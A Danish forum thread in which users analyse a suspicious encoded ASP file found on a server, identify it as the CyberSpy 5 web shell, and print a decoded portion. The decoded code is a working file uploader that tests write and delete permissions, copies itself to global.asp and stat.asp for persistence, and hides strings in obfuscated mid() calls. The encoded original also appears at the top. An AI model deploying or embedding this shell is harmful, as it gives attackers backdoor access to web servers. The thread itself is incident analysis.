d+c.rD+PE)Mlhl0~b/ONbok    k.~NK/zl,l[r,kçk    [+,o+ç^nx,kkYnNrLbxry,O+Mkhr,Xl"r    PE@#@&7iko,:bN`tZmd+BGS *P@!@*,JwHEP}DPdnWYvbM:SFb~@!@*~J\EP}D~hbN`P[BF{~8b,@!@*,J rPK4+    lI/2W    /n qDkDnPr|W9~e+D3b/ry^n,fnobdYbDrsbXW.~JP/X(nMO    mDMkWMR}.or)]+kwGUk+RAUN@#@&di]n/aW    /nR    .bYnPr-+,JE)9kPrçr    NnJr~U+çn    +TkxbPbdlM+OVXr2,bDm~A!YW    ;Ul,Kb3slzr    J@#@&i7I/2G    /+     MkO+,E@!4.@*@!(D@*@!4M@*@!(D@*@!(D@*E@#@&dirs,Kl(snP@!@*,KrYsn,K4+    lI/2G    /+     MkO+,EÇmw.my,|W    YMGVeP/X(+.jaXPl~z,|W9~e+D3b/ry^n,fnobdYbDrsbXW. cRE)"nkwG    /R2    N@#@&dikoP:l8sP@!@*~KbYV~Ptx@#@&7d]nkwGxknR"+[rM+mO~rtOYalJzAShcZX(+MRmD.kKD 6MoJ@#@&di2x9~rs@#@&iZC/n~rkU0KE@#@&d7/mVV~$KV;:Ui~`b@#@&idI/aGxk+ MkOn,?l(rY~l/^rVPLP~Wd?C8bY)VmU@#@&d7jYP    d41nYSGM3~{PU+D7+M ZM+CYr8%mYvEUmDb2ORg+DhGDVE*@#@&dirs,:r[vKNSq+~+#,@!@*PEM J,Ktx=]+kwGxk+     MkY~J;X4.jwHPlP&P/z(+.OqCDMkG.crDLE=In/aG    /nc2    N@#@&dij+DP    /4?4n^VP{~?D\. ZM+mYnr8%mO`r    ?1Dr2DR?4n^VE#@#@&idjY,/42    -P{P    /4?4n^VRAU\bDW    hnxD`r?e?P3tJb@#@&7d"+d2Kx/n qDrY~r@!8M@*@!0W    Y,Wl1+xlMkCs,/k.n'y@*J@#@&7dbs,KC4sn,@!@*P:rY^+~P4+xl]/2W    dR    MkD+PrPrlI/2W    /n AxN@#@&diks,hrNvKbYs+S1BFbP@!@*Pr J~P4+xl]/2W    dR    MkD+PrZH8+M?2X,*~&,ZX(nD lM.rWMR}DLJl]/2W    d+c2U[@#@&d7rwPJ+6Ovb.s~8#P@!@*,E}rPPtxl]/wKU/RMrO+,J;X8+.Rql.DbGDcr.Lr)IndaWU/ Ax[@#@&idkwPdn0D`)Ds~qb,@!@*,E}rPb    [~:bNvKC4snB,SF*~@!@*PE E,KtnU=In/aG    /ncMkYPr/X(+.Oql..bWDc6DTJ)"ndwKxk+ 2U[@#@&7dERO SrdD+VnhXnP~CkVrHWMEy O RO@#@&7d"+d2Kx/ MkY~E@!6W    Y~mGsKDxB[osZ!TTEP?r"'v&E@*@!4@*UE    Em!PÖ.nV^kVVDr@!J4@*@!&sKxY@*@!8D@*J@#@&7d]nkwGxknRqDrOPJ@!8@*n4,F!Vsmxbmk=P,@!z(@*EPLP    d41+DAWM3R`dnDgls+~[~E@!4.@*r@#@&idro,:k[c:l8VSO~q*P@!@*Pr J,PtxlI/2G    /+c    DbY+,E/X(+M?2X~X,z~ZH8+MO    CMDkG.cr.orl"+daW    /+c2    [@#@&d7I/2G    /+c    DbY+,E@!4@*?!x;m;~zNr),@!z(@*E~LPd4g+OhK.0R/K:aEYDgC:P'Pr@!8.@*J@#@&7dbsP:C8VP@!@*~KrO^+~K4nx=IndaWxdnc.kDn,J~r)"+/aW    d+c2UN@#@&77"+/aGxk+Rq.rYPr@!8@*HnDhGD0~b9)~@!J4@*E~LP    /4HYAKD0Rjk+M9Wslrx,[~E@!4D@*@!4M@*J@#@&7dU+DP9Dr-/~',    /41nOSWDV Ax;:gnDhGM3GDk7+k@#@&idrs,:r[vKNBqvB #,@!@*PrD rPPtnU=In/aGxk+     MkYn~rZz4.Uwz,*,zP;X(nD CDMkG.crDTE)"+/aGU/RAx[@#@&7isGD,rP{PT~DWP9.b\n/c/KEUDP PF@#@&i7d"+dwKxdncDbO+,J@!(@*9Db\P[+~]NnPv\la+C[K#)~@!J4@*J,',f.b\/R&Yh`b#~[,J@!8M@*J@#@&didkw~Pl(VP@!@*~PbYs+,Ptxl]/wGUk+ MrD+~rPr)I/aGxk+ 2    N@#@&id1aY@#@&di]n/aW    /nR    .bYnPr@!0KxO~1WVG.{B:swTZ!TEPUky'EfB@*@!8@*GWUC    k:,Ö"+^Vk0snDb@!J4@*@!&oKxO@*@!8D@*J@#@&idIndaWU/ qDrD+,J@!(@*&dV:^k=P@!&(@*J,'Pq/tAU-`rn"r/2jj}Imb"/C&K3/:jI3E*P'Pr@!(D@*r@#@&ddbs,J+6YcKm4snB #,@!@*,JZHE~K4+    )]+d2Kxd+c    DbYn~r|W[vmP\üNm4mVn,\mDRcR,/X(+.Oql..bWDc6DTJ)"ndwKxk+ 2U[@#@&7d"n/aWUdR.rD+~J@!8@*qd^+smk,?mzkkk~),@!&8@*JPL~kt2    -cJgjtA3Im6w{KI}/2U?6]UJ#~',J@!4M@*r@#@&id"+/aW    d+c.kD+~E@!4@*wC:bVX=~@!z(@*rP'P    d42U\vEn"r/3U?r]m&f31:rwq3"J*P[,J@!8D@*@!8D@*J@#@&idkw~:bN`:[SF+~y#~@!@*~rD EP:4+    )]nkwWUdR    DbOPE;X(+DUwH~*,z~ZH4n. lM.kKDR}.LJ=I/2WUdR3x9@#@&id]nkwWUdR    DbOPE@!0KxY,mKsWM'vawsTTZ!B,jk.+'Efv@*@!4@*?r/OnsPÖ"+^sk0Vn.b@!z8@*@!zoW    O@*@!8M@*r@#@&idboPsk[`:NSqF~F*~@!@*PJ r~Ptx=In/2G    /nRq.kD+~E;X4n.UwzPl~JPFKN,5+D3bdk.mnPG+LrkYkMrVbXWMElI/aWU/n Ax[@#@&7d"+d2Kx/n qDrY~r@!8@*kh)P@!z(@*J,[~D;;nkYRknD7+D7C.km4^+d`EJ}Z)S|)fGIEb,[PE@!(D@*J@#@&id]/aWxk+c    DbYnPr@!8@*Uk/Dn:,HksC.k=P@!z8@*E~LP    /43x7`E6UJ#~',J@!4M@*r@#@&idbsP:l(s+,@!@*P:kOsPK4nx=I+k2Gxk+c.kOn,JÇCwMCy,|GUDDWsZ,Zz4.Uwz,*,zPnW9~5YVkkk"^PfLkkYkMrskHWMR REl"+dwKU/R3U9@#@&77"+dwKUk+ qDbY+,J@!8@*q+8PU+.-D),@!z(@*J,'~D;!+dY dD-+M-lMkC8^+/cEU2].A]|?6wKqbIAJ*~[,J@!4M@*E@#@&dd"n/aWxkn MkD+~J@!8@*ZG:sCx9)~@!J4@*E~LP    /4j4+s^RA6wmx93x7k.W    :nUD?YMrxT/`rY/Ws?a+^]Eb,[~J@!8D@*J@#@&idIndaWU/ qDrD+,J@!(@*Uz/D+hPUüDü^üdü=P@!J8@*rP[,    dtUtVsR3aalUNAU\bDGUs+xOjDDrxTdvJYU5UK2tf"(.A]E#,[~E@!4D@*E@#@&dd"ndwKxk+ .rD+~J@!8@*UXdO:PFsm/ö.ü),@!J4@*rPLPktU4+^V 2XwCU92x7rDKx:UO?DDbxL/cEu?e?:3H"r6PuJ#~',J@!4M@*r@#@&id"+/aW    d+c.kD+~E@!4@*U4+^VPnsC/öMü),@!&4@*E,[~k4?4+sscZE..xOfb.mOKDHP[,J@!8D@*@!8D@*J@#@&idkw~Km4V~@!@*,KbYs+~P4+U)"n/aWUdR.rD+~JÇm2Ml",|KxYMW^ZP;X8+M?2z,*PJ~|KNPInO3b/by^+~9or/DrDbVrzKDR  r)]+k2KxdRAxN@#@&i7B ORSb/On^+:~AbYYbRRO O@#@&7dro,KC4^nP@!@*~PbYVn~:tnx=]/2Kxk+RqDbO+,J~J=IndaWxknRAxN@#@&7dU+DP9Dr-/~',HWDtrUT@#@&77U+OPqd41nDhKD3,',HWDtrxT@#@&7i?+D~kt?4nsV,',1GY4r    o@#@&i7?Y~    kt2U-,'~1KO4kUT@#@&dP,PboP:l8VP@!@*,KkDs+,KtUlI/aWU/n qDrY~JÇmw.C.P|GUDDGVe~;X8DUwX,*,&PnW[PI+OVb/k.^+,f+TrdYbDbVrXG.cR J=]+kwGUk+R3U9@#@&d;Ck+~rKXYfK/HCb1J@#@&id/C^VP~GV!:?`$c#@#@&idrs~hbNcK9SF+~+b,@!@*~EM J~K4n    )]/aWxk+c    DbYnPrZz8D?azPlPz,/z4D CD.rKD rMLJ=IndaWxdnc2UN@#@&id]/aWxk+c    DbYnPUl8rDAlksk0P[,$G/Ul(kObsC    P'Pr@!0KxO~6lmnxrJCDbC^JE,/by+{Jr+Jr@*E@#@&d7v:+6D~fK/Xm~!öDü    Yü^+h+~$m/skHGD!y@#@&idIndaWU/ SDrD+,JP:+XOPGWdXmP$CkVl    Lkç@!4D@*E@#@&idbs~:r[vkhoB0~y#~@!@*PJC.rPPtU=InkwKx/Rq.kD+~J;X8nM?wH~*,zPnG[PI+D3r/r"1+~fLkkYr.bVkzGMJlIdaWUk+c2x9@#@&7d"+dwKxdnchDbO+,J{|mm{|{|{m{mm|{m{|m{|{mm|{{mm|{m{|m|{m|{|{{|{|m{|{m{|{mm|{{|m{|{{|mm{|{|{m{mm|{m{|m{|{mm|{{mE@#@&7d"nkwG    /RhMkDnJ@!4.@*@!4.@*r@#@&i7kwPKm8s+,@!@*PPkOsPPtU)"+d2Kx/n qDrY~rÇl2Ml.P|KxD.W^"~ZH4n.UwX,XPJP|K[~5Y0kdk"^P9+Tr/Dk.r^kXG.cR J=]/2Kxk+RAx9@#@&id@#@&idWr^+P{~IwVm^n`:Db:cIn5!+dYc}EDzjDDkULvJWk^nr#bBJ-J~r-rb@#@&d7?Y~WkWP{~ZM+lDn64N+1YcJj^Mk2YbUocsrs?XdO:64Nn1YE*P,@#@&idUnY,l~',0dGcrwUK6Ywrs+v0bVn#@#@&id]+k2W    /n qDkOn,Inw^C1+c"+aVl1+vj+M\nDcCP\d2x1GN`lc]nl9b^Vb~#8;DJ0BE@!(D@*E*~J~EBJ'x(daiE*@#@&ddbs,Pl(VnP@!@*~PbYV~K4+x=]n/aW    /nR    .bYnPrÇCwMl"~nWxO.KVZP;z(+.UwHP*,z,FW9Pe+D3rdbym~fokkOrDbVbXGD  cJlIdwKxdnc2x[@#@&d7@#@&7iInkwKx/RS.kD+E@!(D@*E@#@&di]+kwW    dnRSDbYnPEm|{m{|m{|{mm|{{mm|{m{|m|{m|{|{{|{|m{|{m{|{mm|{{|m{|{{|mm{|{|{m{mm|{m{|m{|{mm|{{mm|{m{|m|{m|{r@#@&id"n/aWU/RA.bY+r@!4M@*J@#@&7d"+kwGxdnch.kDnPrPPnXYP9GkXCPUG    E@!(D@*J@#@&dirs,:rNvkhLB%~ybP@!@*PrC.J,K4+U)]nkwGxknRqDrOPJ/z(+.?az,*~JPnWN,5O3b/ry1+~9okkOkMkVbzGDr)"+dwGUk+ 2    [@#@&d7jYPC~{PHWD4bxL@#@&id?Y,W/KPxPgWO4bxo@#@&diks,PC4^+,@!@*PPrDVnP:4+    )]nkwWUdR    DbOPE;X(+DUwH~*,"E)"+d2Kx/ 2    N@#@&77@#@&d;ld+~E:6OfKdXm2[rDJ@#@&7ikoP:C(Vn,@!@*PKbY^nP:tnx=IndaWxknRqDkDn~JÇmwMl"PFG    Y.W^ZP;X8nM?wz~lP&PnG9PeY0k/by1nPG+LkkYr.bVkHGDcRRrl]+kwKxd+ 3    N@#@&i7ZmVs~~WV;hUj$`*@#@&d7"+kwW    / MkO+,?C8bYAmdVb3PL~$Wk?m4rY)smx@#@&i7kwP]n$E+dOcsGDs ;W;    Y,'PZP:4+    @#@&didWr^+P{~IwVm^n`:Db:cIn5!+dYc}EDzjDDkULvJWk^nr#bBJ-J~r-rb@#@&d7dU+O~6/W,xP;D+mOnr(LmO`Ej1DrwDrxTRor^+?zdD+hr(%mOr#@#@&didUnY,l~',0dGcrwUK6Ywrs+v0bVn#@#@&id7@#@&7di@#@&7idIndaWU/ qDrD+,J@!6WMhPs+OtKNxErwWkOJrPl1OrW    'rJEP'~"+5EdYc?n.7+D#CMkC4^nk`EUZ"qn:{g)HAJbPLPE_mmYbGx{K6D9G/HlANrYEE@*J@#@&i7dbs~hbN`\/m/n~FSy#~@!@*,JwHJ,PtxlI/2G    /+c    DbY+,E/X(+M?2X~X,z~ZH8+MO    CMDkG.cr.orl"+daW    /+c2    [@#@&d7d"+d2Kx/ MkY~E@!D+XYCDnC,mGVkxBR*v~MWhdxE XB,Um:n{JrmW    YUYrJ~hMl2xrJw4z/bml^EEP@*J,[~?n.7+.R_PHd2U^KN+cCcInl9)^Vb,[,J@!JYaYmDnl@*@!8.@*J@#@&7diI+k2Gxk+c.kOn,J@!k    2EDPOza+'EE4k[NUrJ~    ls+'rJaCY4JEP7ls;'JrEPLPKMrh`"+$En/O 5EnDHjYMkULvJ0rsJb#,',JEr@*r@#@&idi]+kwGxk+     MkY~J@!kxa;OPDXa+xJEd!4hkDEJ,xCh'JEdm\n:O4W[rJ,\l^ExJr?C\JE@*Lx4k2iLx4k2I[    4kwI[U8kwI[    8/ai@!r    wEO~DX2+{Er/;(:bYJrP    C:'EJkl-ns+Y4GNrJP7CsE'rJjl-n,ldJr@*@!J0G.s@*J@#@&id7?O,l~{PgWY4k    L@#@&d7dU+O~6/W,xPgWY4rUo@#@&id7ko~sk[`:[~8vS+*P@!@*~rD EP:4xl"+kwW    / MkO+,J/z(+DU2X,*PJ~/X(+MO    l..bW.R}.or)]nkwWUdR3x9@#@&d7AVk+@#@&di7kwPPl(Vn~@!@*P:rY^+P:4nx=I/2WUdR    DbO+,JÇC2Mly~FKxODKseP/H4D?aX,XPJPFW9PenD3kkry1+PGnLkkYbDrVrzKD RcE)"+d2Kx/n Ax[@#@&7idjVmY,Zmd+,K.ks`]n$E+kORwWDscE/m\:nY4G9Jb#@#@&did7/m/+~EUl-+r@#@&d7idi?+DP6dW,'~ZM+COr4NnmD`JU^.kaYbxLRor^+jXkO+sr8%mYEb@#@&7di7ixG7WD+6DW,xP:Dr:vIn5!+/D sKD:vE^W    YxOJbb@#@&7di7d@#@&77idd9GkXCb9F,'~MkTtYvKMr:vIn;!+dOcsWMh`rwlD4E#*~2#@#@&77id7nA~',:r[vJnGEBFS *'sk[vJZ,h;RnGr~f~y#'hbN`r^W^WDMn[Pr~+~*#'s0O`r8Dr~qbLV+WOvJzJBq*@#@&ididdh2,xPh2~[,J~E,[KbOV@#@&i77di@#@&d7d77bs~fKdXmb[F,'PECkwEP}.,fGkXmbNnP{~J4YhJ,K4n    @#@&i7didxK-GY6DW~'~UK\GYaYKP'~r@!4.@*@!4.@*@!8M@*@!(D@*@!4M@*@!^+    YnD@*@!8@*r[nA'J@!4@*@!&^+    YD@*J@#@&id7di3x9Pro@#@&d77idUW7GD+aDW,'PUw^rYvxG\KYnaDW~78ZMS0*@#@&didid@#@&77id7?OPK4%dDD+Ch,'~0kGcr2x:+6Dsbs+vInw^l^nvKDbh`"+;!ndYcsKDh`E2mY4J*b~ruESr-JbSy#@#@&i7id7wWMPk,',TP:W~j~W;U9`xK-WD+6DGb@#@&did7d7G(LdYMnlsR    .bY+Jr    +cxK-KYnXYK`k*#@#@&did7dg+aO@#@&di7diW4NdODlsR/VGd@#@&di7di?nO,
Avatar billede strych9 Praktikant
06. marts 2006 - 20:09 #23
google siger at den passer overens med denne her: http://terra21.socionet.ru/hc/official/20041225-181929.mdl

En Terra21 model. Umiddelbart tror jeg ikke det er noget særligt.
Avatar billede strych9 Praktikant
06. marts 2006 - 20:13 #24
og dog.. det lader til at der kan være shellcode i det. Jeg skal lige se om jeg kan gøre noget med den encoding der.
Avatar billede strych9 Praktikant
06. marts 2006 - 20:52 #25
ok, den encoding er nasty, men jeg kan se enkelte strenge, og det skulle være noget i stil med det her, hvis det ikke ligefrem er det:
http://getafreelancer.com/data/projects/13135/test.asp
En file-uploader og massdefacer.
Avatar billede bufferzone Praktikant
06. marts 2006 - 20:53 #26
Der er shellkode i den fil der bl.a. indeholder en bagdør. Det er en at de scripts der bruges  af primært tyrkiske hackere i øjeblikket og den findes i masseraf eksempler på nettet.

Prøv at søge på "DRU^.kaY" i google (med ") men lad være med at trykke på linksne, da det jo så placerer et script med en bagdør  jeres temp mappe
Avatar billede strych9 Praktikant
06. marts 2006 - 21:49 #27
Ok, har endelig fastslået at det drejer sig om CyberSpy 5:
http://www.cyber-warrior.org/Root.asp?Action=Download&Downloadid=237

Lidt diskussion om den her:
http://support.jodohost.com/archive/index.php/t-5199.html

Du har et upload script et sted som ikke er sikkert. Det drejer sig altså om en forkert konfigureret IIS.
Avatar billede bufferzone Praktikant
06. marts 2006 - 22:13 #28
strych9>Hvad får dig til at slutte at der er tale om CyberSpy, jeg har ikke selv kunne finde referencer til specefikke værktøjer
Avatar billede strych9 Praktikant
06. marts 2006 - 22:18 #29
bufferzone -> det han pastede kørte jeg igennem en decoder. Kunne få enkelte strenge til at passe, og kan se at variablerne stemmer overens med CyberSpy. Faktisk var selve ordet "CyberSpy" i output.
Download filen fra cyber-warrior.org og se at den stemmer fint med det han paster.

Jeg har decoded den, hvilket godt kunne lade sig gøre pga at endline tegn i den her er ok. Så decoded ser den ud som nedenfor.
Det er simpelthen en lille form som gør det muligt at uploade filer til webserver. Det skulle ikke være usikkert at køre den for at se hvad den gør, men jeg ville nok ikke gøre det på en produktions server.

<%
On Error Resume Next
Server.ScriptTimeOut  = 7200

Dim NesneFSO
Response.Write "<style> BODY { SCROLLBAR-BASE-COLOR: #3B3B3B; SCROLLBAR-ARROW-COLOR: #33FF33; } </style>"
Response.Write "<body bgcolor=000000 text='#00FF00' link='#00FF00' alink='#00FF00' vlink='#00FF00' topmargin=0>"

'-------------Anonim UploadClass Start Code---------------------------
Class FileUploader
    Public  Files
    Private FormElemanPrV
    Private Sub Class_Initialize()
        Set Files = Server.CreateObject("Scripting.Dictionary")
        Set FormElemanPrV = Server.CreateObject("Scripting.Dictionary")
    End Sub
    Private Sub Class_Terminate()
        iF IsObject(Files) Then
            Files.RemoveAll()
            Set Files = Nothing
        End iF
        iF IsObject(FormElemanPrV) Then
            FormElemanPrV.RemoveAll()
            Set FormElemanPrV = Nothing
        End iF
    End Sub
    Public Property Get Form(sIndex)
        Form = ""
        iF FormElemanPrV.Exists(LCase(sIndex)) Then Form = FormElemanPrV.Item(LCase(sIndex))
    End Property
    Public Default Sub Upload()
        Dim biData, sInputName
        Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
        Dim nPosFile, nPosBound
        biData = Request.BinaryRead(Request.TotalBytes)
        nPosBegin = 1
        nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
        iF (nPosEnd-nPosBegin) <= 0 Then Exit Sub
        vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
        nDataBoundPos = InstrB(1, biData, vDataBounds)
        Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
            nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
            nPos = InstrB(nPos, biData, CByteString("name="))
            nPosBegin = nPos + 6
            nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
            sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
            nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
            nPosBound = InstrB(nPosEnd, biData, vDataBounds)
            iF nPosFile <> 0 And  nPosFile < nPosBound Then
                Dim oUploadFile, sFileName
                Set oUploadFile = New UploadedFile
                nPosBegin = nPosFile + 10
                nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
                sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
                oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
                nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
                nPosBegin = nPos + 14
                nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
                oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
                nPosBegin = nPosEnd+4
                nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
                oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
                iF oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
            Else
                nPos = InstrB(nPos, biData, CByteString(Chr(13)))
                nPosBegin = nPos + 4
                nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
                iF Not FormElemanPrV.Exists(LCase(sInputName)) Then FormElemanPrV.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
            End iF
            nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
        Loop
    End Sub
    Private Function CByteString(sString)
        Dim Byteindex
        For Byteindex = 1 to Len(sString)
          CByteString = CByteString & ChrB(AscB(Mid(sString,Byteindex,1)))
        Next
    End Function
    Private Function CWideString(bsString)
        Dim Byteindex
        CWideString =""
        For Byteindex = 1 to LenB(bsString)
          CWideString = CWideString & Chr(AscB(MidB(bsString,Byteindex,1)))
        Next
    End Function
End Class
Class UploadedFile
    Public ContentType
    Public FileName
    Public FileData
    Public Property Get FileSize()
        FileSize = LenB(FileData)
    End Property
    Public Sub SaveToDisk(sPath)
        Dim oFS, oFile
        Dim Byteindex
        iF sPath = "" Or FileName = "" Then Exit Sub
        iF Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
        Set oFS = Server.CreateObject("Scripting.FileSystemObject")
        iF Not oFS.FolderExists(sPath) Then Exit Sub
        Set oFile = oFS.CreateTextFile(sPath & FileName, True)
        For Byteindex = 1 to LenB(FileData)
            oFile.Write Chr(AscB(MidB(FileData,Byteindex,1)))
        Next
        oFile.Close
    End Sub
    Public Sub SaveToDatabase(ByRef oField)
        iF LenB(FileData) = 0 Then Exit Sub
        iF IsObject(oField) Then
            oField.AppendChunk FileData
        End iF
    End Sub
End Class

Function DeCryptString(strCryptString)
    Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData
        strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|"))
        intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))
        intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet)
        strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))
        arHexCharSet = Split(strHexCrypData, Hex(intKey))
        For i=0 to UBound(arHexCharSet)
              strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey)
        Next
        DeCryptString = CStr(strRAW)
End Function


Function HexConv(hexVar)
    Dim HexVeri, HexDegisken, multiply         
        iF hexVar <> "" THEN
              hexVar = UCASE(hexVar)
              hexVar = StrReverse(hexVar)
              DIM hx()
              REDIM hx(LEN(hexVar))
              HexVeri = 0
              HexDegisken = 0
              FOR HexVeri = 1 TO LEN(hexVar)
                  iF multiply = "" THEN multiply = 1
                  hx(HexVeri) = mid(hexVar,HexVeri,1)
                  HexDegisken = (HexGonder(hx(HexVeri)) * multiply) + HexDegisken
                  multiply = (multiply * 16)
              NEXT
              hexVar = HexDegisken
              HexConv = hexVar
        END iF
End Function
cprthtml = "<font face='arial' size='1'>Realite:.</font>"
Function HexGonder(KategoriHex)
        iF KategoriHex = "A" Then
              KategoriHex = 10
        ElseiF KategoriHex = "B" Then
              KategoriHex = 11
        ElseiF KategoriHex = "C" Then
              KategoriHex = 12
        ElseiF KategoriHex = "D" Then
              KategoriHex = 13
        ElseiF KategoriHex = "E" Then
              KategoriHex = 14
        ElseiF KategoriHex = "F" Then
              KategoriHex = 15
        End iF
        HexGonder = KategoriHex
End Function

Function ObjeGoster(objpath)
    ObjeGoster = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function ObjeGosterpath(objpath)
    ObjeGosterpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function KontrolFonksiyon(a,b)
    iF CStr(Mid(a,1,1)) <> CStr(Mid(b,1,1)) Then
        Sayfa = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
        Response.Redirect(Sayfa)
    End iF
End Function


CWParametre = "RooT"
'------------------------------------

iF Trim(Request.QueryString("CWParametre")) = "" Then
            VeriParametre = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
            pos = Instr(VeriParametre,"\")
            pos2 = 1
            While pos2 <> 0
                iF Instr(pos + 1,VeriParametre,"\") <> 0 Then
                    pos = Instr(pos + 1,VeriParametre,"\")
                Else
                    pos2 = 0
                End iF
            Wend
            CWParametre = Left(VeriParametre,pos)
        Else
            CWParametre =  trim(Request.QueryString("CWParametre")) & "\"
        End iF
       
'------------------------------------       

'----------Yetkiler Kontrol Start-------------------
'Yazma-----
Dim DosyaOlusturma, Text
Set DosyaOlusturma=CreateObject ("Scripting.FileSystemObject")
Set Text = DosyaOlusturma.CreateTextFile (CWParametre&"YetkiKontrolTemp.txt")

Text.WriteLine ("Geçici Olarak Olusturulmus bir Dosyadir...")
Text.WriteLine ("CyberSpy 5")
Text.Close

iF Err.Number <> 0 Then
YazmaYetkisi = "û"
Else
YazmaYetkisi = "ü"
End iF

'Okuma-----
Dim DosyaAcma, TextFileTest
Set DosyaAcma=Server.CreateObject ("Scripting.FileSystemObject")
Set TextFileTest=DosyaAcma.OpenTextFile (CWParametre&"YetkiKontrolTemp.txt")
'Response.Write (TextFileTest.ReadAll)


iF Err.Number <> 0 Then
OkumaYetkisi = "û"
Else
OkumaYetkisi = "ü"
End iF

TextFileTest.close
Set TextFileTest=Nothing
Set DosyaAcma=Nothing

'Copy File Test------
Dim YolDeg, SadeYol
YolDeg = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(YolDeg,"\")
pos2 = 1
While pos2 <> 0
    iF Instr(pos + 1,YolDeg,"\") <> 0 Then
        pos = Instr(pos + 1,YolDeg,"\")
    Else
        pos2 = 0
    End iF
Wend
SadeYol = Left(YolDeg,pos)

Set ObjCopyFSODeg = Server.CreateObject("Scripting.FileSystemObject")
ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"global.a"&"s"&"p", True
ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"stat.a"&"s"&"p", True
'Copy File Test------

'Silme-----
Dim DosyaSilKontrol
Set DosyaSilKontrol=CreateObject ("Scripting.FileSystemObject")
DosyaSilKontrol.DeleteFile (CWParametre&"YetkiKontrolTemp.txt")

iF Err.Number <> 0 Then
SilmeYetkisi = "û"
Else
SilmeYetkisi = "ü"
End iF


'----------Yazma/Silme Yetkisi Kontrol End---------------------



br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
style'=&mid(".<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
style=style'&"<td width="4" height="4">&nbsp;</td>"
style=style&mid("Css",0,0)&mid("<style>",0,0)&mid("Scrollbar",0,0)&mid("height",1,1)&mid("scr",0,0)&mid("Width",4,1)
tag="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
'left=lef'&"<td width="4" height="4">&nbsp;</td>"
style=style&mid("height",1,1)&mid("Width",4,1)&mid("Width",4,1)&mid("cellpadding",5,1)&left(":?DATA",1)&mid("</tr>",2,1)&mid("</td>",2,1)'&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&""&"."&Left("O",1)&Left("right",1)&right("cellspacing",1)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
style=style'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
style'=&q("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
q=q&mid("<td>width</td>",5,1)&mid("<style>",0,0)&mid("Scrollbar",0,0)&mid("height",1,1)&mid("scr",0,0)&mid("Width",4,1)
style=style'&"<td width="4" height="4">&nbsp;.</td>"&"<br>"
q=q&mid("height",1,0)&mid("Width",1,1)&mid("Width",1,1)&mid("Width",1,1)&left(".",1)'&mid("</td>",2,1)'&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&""&"."&Left("O",1)&Left("right",1)&right("cellspacing",1)
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase'&"<td width="4" height="4">&nbsp;</td>"<td width="4" height="4">
ul="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
MCase=MCase&mid("Css",1,1)&mid("<style>",4,1)&mid("Scrollbar",7,1)&mid("height",2,1)&mid("scr",3,1)
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
br="&nbsp; &nbsp; &nbsp; <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
MCase=MCase'&"<td width="4" height="4">&nbsp;</td>"<td width="4" height="4">
MCase=MCase&mid("</tr>",1,2)&mid("<style>",2,2)&mid("Scrollbar",0,0)&mid("height",1,1)&mid("scr",0,0)&mid("Width",4,1)
hr="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
